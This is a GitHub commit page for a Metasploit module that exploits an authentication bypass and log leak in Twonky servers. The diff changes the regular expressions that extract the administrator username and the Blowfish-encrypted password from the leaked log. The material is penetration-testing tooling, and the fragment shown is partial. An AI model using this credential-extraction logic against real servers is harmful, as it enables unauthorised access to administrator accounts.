Skip to content

Commit 1153f3c

Browse files
committed
Fixing regex
1 parent 25d87fc commit 1153f3c

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/auxiliary/gather/twonky_authbypass_logleak.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,7 @@ def run
7575
fail_with(Failure::Unknown, 'Connection failed - unable to get log API response') unless res
7676

7777
# Grab the most recent (last) administrator username value from the logs
78-
pattern = /accessuser\s*=\s*(\S+)\n/
78+
pattern = / accessuser\s*=\s*(\S+)/
7979
result = res.body.scan(pattern).last
8080

8181
# If the log has been cleared since startup or the server hasn't restarted since setup
@@ -87,7 +87,7 @@ def run
8787

8888
# Grab the most recent (last) password value from the logs to decrypt
8989
# "||" + hex number (key index) + hex Blowfish ECB ciphertext
90-
pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/
90+
pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]+)/
9191
result = res.body.scan(pattern).last
9292

9393
# If the log has been cleared since the last password change or the server hasn't restarted since setup

0 commit comments

Comments
 (0)